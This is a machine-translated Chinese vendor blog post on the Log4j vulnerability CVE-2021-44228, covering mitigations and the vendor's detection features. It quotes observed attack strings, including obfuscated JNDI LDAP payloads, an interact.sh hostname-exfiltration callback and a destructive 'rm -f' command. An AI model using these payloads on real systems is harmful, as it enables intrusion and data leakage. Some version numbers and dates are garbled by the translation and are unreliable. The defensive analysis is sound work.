1. 简介
这几天,一个严重的Log4j漏洞(CVE-2021-44228, CVE-2021-45046) 几乎在互联网世界引发了一场完美风暴。 Log4j 作为一个被广泛使用的 Java 日志工具,它的漏洞很容易被利用,LogXNUMXj 无疑让 IT 专业人士和公司感到紧张,并提出了许多问题——这个漏洞是什么? 我如何知道我们的系统是否易受攻击? 我的 IT 基础设施是否已经遭到破坏? 我可以做些什么来防止未来利用此漏洞进行攻击?
在 Stellar Cyber,我们一直在密切监视局势,我们在这里为我们的当前和潜在客户和合作伙伴提供我们的建议和建议,帮助他们应对此 Log4j 漏洞带来的不确定性。
2. 影响和缓解
根据 CVE-2021-44228, v4 之前的任何 Apache Log2j2.15.0 都会受到该漏洞的影响,这是由于未经检查的字符串插值 Java命名和目录接口 (JNDI) 查找。 具有将数据注入日志消息的知识的攻击者可以制作并注入特殊格式的 JNDI 插值表达式,以便在 Log4j 评估插值表达式时从指定的 JNDI 端点(例如,LDAP 服务器)加载和执行任意代码。
由于 Log4j 在许多流行的软件应用程序中被广泛使用且易于利用,因此预计此漏洞的影响将是广泛的。 安全社区一直在跟踪使用 Log4j 的网站、软件、开源组件和其他制造商,并确认即使 一些大品牌公司很脆弱.
为了缓解这个漏洞,我们建议我们的客户和合作伙伴将他们现有的 Log4j 更新到 v2.15.0,其中 JNDI 相关的行为在默认情况下是禁用的。 如果不能选择立即升级,另一种缓解措施是设置系统属性 log4j2.formatMsgNoLookups 至 true (适用于 v2.10+)或删除 Jndi查找 类路径中的类(适用于 v4 之前的 Log2.10j,通过 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
此外,我们建议我们的客户和合作伙伴将他们现有的 Java 更新到至少 6u211、7u201、8u191 或 11.0.1 版本,其中默认禁用 JNDI 远程类加载。
对于使用 Log4j 且受此漏洞影响的特定软件应用程序,请尽快与软件供应商联系以应用任何适当的补丁。
3。 技术细节
In CVE-2021-44228,构成该漏洞的两个重要且相关的部分: Java命名和目录接口 (JNDI) 具有远程方法调用功能,以及 Log4j 对使用 JNDI 查找的日志插值的支持。
Java命名和目录接口 (JNDI,图 1)是一个古老但仍然有用的功能,可追溯到 Java 2 v1.3。 它为 Java 应用程序提供命名和目录功能,因此应用程序可以通过 JNDI 调用各种服务提供者,例如 轻量级目录访问协议 (LDAP)。 例如,Java 应用程序可能会传递一个 URL ldap://some-ldap-server:389/o=SomeObjectID 通过 JNDI 到支持的 LDAP 服务器 一些 LDAP 服务器 查找并调用远程对象 某个对象.
点击 Log4j
另一方面,JNDI 查找支持最早于 2.0 年在 v2013 中引入,应其用户要求以实现复杂的日志记录功能。 从那时起,Log4j 允许开发人员在日志消息中使用带有 JNDI 的字符串插值。 例如,可以写 logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}")
及 Log4j
将评估插值表达式并相应地调用 JNDI 以从远程服务器检索构成日志消息的数据。
终于,八年后的 30 年 2021 月 XNUMX 日, 日志4j 团队 被告知 日志插值与 JNDI 查找相结合导致的远程代码执行漏洞。 一周后,安全社区和 IT 行业中的几乎每个人都收到了通知,并开始以某种方式恐慌。
这个漏洞的后果会特别糟糕,不仅是因为 Log4j 被如此广泛地使用,而且因为人们一直在以一种过于完美和容易被攻击者利用的方式使用 Log4j。
从上面的例子我们可以看出 logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}")
,要成功利用此漏洞,攻击者需要知道使用 Log4j 的受害者系统最终会在某处记录什么样的注入数据。 实际上,对于任何对现代基于网络的应用程序不太熟悉的攻击者来说,这是一个容易实现的目标,在这些应用程序中,通常的做法是记录每个请求,包括其 URL、查询字符串和用户代理。
在 Stellar Cyber,我们一直在监控过去一周对我们的客户和合作伙伴进行的漏洞利用尝试。 我们的机器学习驱动的用户代理异常检测已经检测到异常的用户代理字符串,例如:
${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}
${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}
在这些样本中,我们发现攻击者一直在研究利用该漏洞的不同方法——不仅使用普通形式,而且还提出不同的变体来逃避试图匹配的基于规则的 Web 应用程序防火墙 ${jndi:ldap*.
尽管攻击者利用该漏洞并成功造成严重后果的案例尚未为人所知,但仍然值得注意的是,即使是简单的探测,例如试图利用该漏洞 使用 DNSLog 探测目标系统是否易受攻击,可能仍然具有破坏性,因为攻击者目前可能正在收集未来的资产。
4. Stellar Cyber 如何提供帮助
在 Stellar Cyber,我们为客户和合作伙伴提供多种工具来防御利用 CVE-2021-44228 的攻击。
通过我们的威胁情报提供商,Stellar 网络安全传感器 (SDS) 已经拥有最新签名来检测 CVE-2021-44228 的典型利用。
4.1 关于漏洞利用检测的恒星警报
我们目前提供以下警报类型,用于检测新的 IDS 签名或 IDS 签名峰值:
- – 公共到私人利用异常
- – 私人到公共利用异常
- – 私人对私人利用异常
- – 公开到公开利用异常
请注意这些警报 "log4j"
在警报描述或 ids.signature
领域。
4.2 ATH 跟踪匹配的 Apache Log4j 签名
如果您想跟踪匹配的 Apache Log4j 签名的所有实例,您可以考虑创建以下规则(注意:它可能会创建大量警报):
- –搜索 ML-IDS/恶意软件沙盒事件 查询的索引
ids.signature: log4j
.
4.3 URL 侦察和用户代理异常检测
随着攻击者探索不同的漏洞利用方式,我们基于 AI 的异常检测(图 2)也有助于检测间接或异常尝试。
我们在部分 URL 中发现了一些来自使用 Log4j 的 URL Reconnaissance Anomaly Detection 的间接尝试,以通过 Java Web 应用程序利用该漏洞。 此类尝试通常涉及攻击者扫描要利用的页面,从而导致异常数量的 HTTP 4xx 错误,这些错误可以通过 URL Reconnaissance Anomaly Detection 检测到。
根据我们的观察,由于 User-Agent 字符串是一种主要的利用手段,因此我们的 User Agent Anomaly Detection 也是一个有用的工具。 它检测以前从未见过或很少见到的 User-Agent 字符串,从而能够提供额外的防御来抵御不断上升的漏洞利用趋势。
搜索 "log4j"
直接在所有警报中可能是合理的。 (注意:这是一个非常昂贵的查询,请不要尝试可能导致数据湖过载的原始数据。)
4.4 事件关联
试图利用 CVE-2021-44228 可能只是一个单一的操作,导致我们检测到的单一警报。 为了进一步调查和跟踪与易于利用的 Log4j 相关的潜在持续攻击,我们提供了一个额外的事件功能(图 3)来关联构成潜在统一攻击(即事件)的一组多个相关警报和实体以获得更好的安全可见性和可管理性。 我们使用机器学习功能自动生成事件,将相关警报分组为统一事件,以提高攻击解决方案。
正如我们在图 4 中看到的,它显示了一个事件的详细时间线视图 CVE-2021-44228 利用,我们的事件关联自动将来自三个不同检测的三个高度相关的警报按发生时间排序:首先是用户代理异常,攻击者试图从 10.11.191.95 到 10.11.190.88 注入恶意用户代理字符串,随后是在 10.11.190.88 上检测到异常进程生成,并以执行危险命令的命令异常结束
xargs -r -0 rm -f
.5。 结论
在这篇文章中,我们分享了我们的要点 CVE-2021-44228 并为我们当前和潜在的客户和合作伙伴提供了建议,我们还展示了 Stellar Cyber 如何在这个不确定的时期提供帮助。 最后提醒一下,请务必修补和更新任何受影响的软件,包括 Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1)
.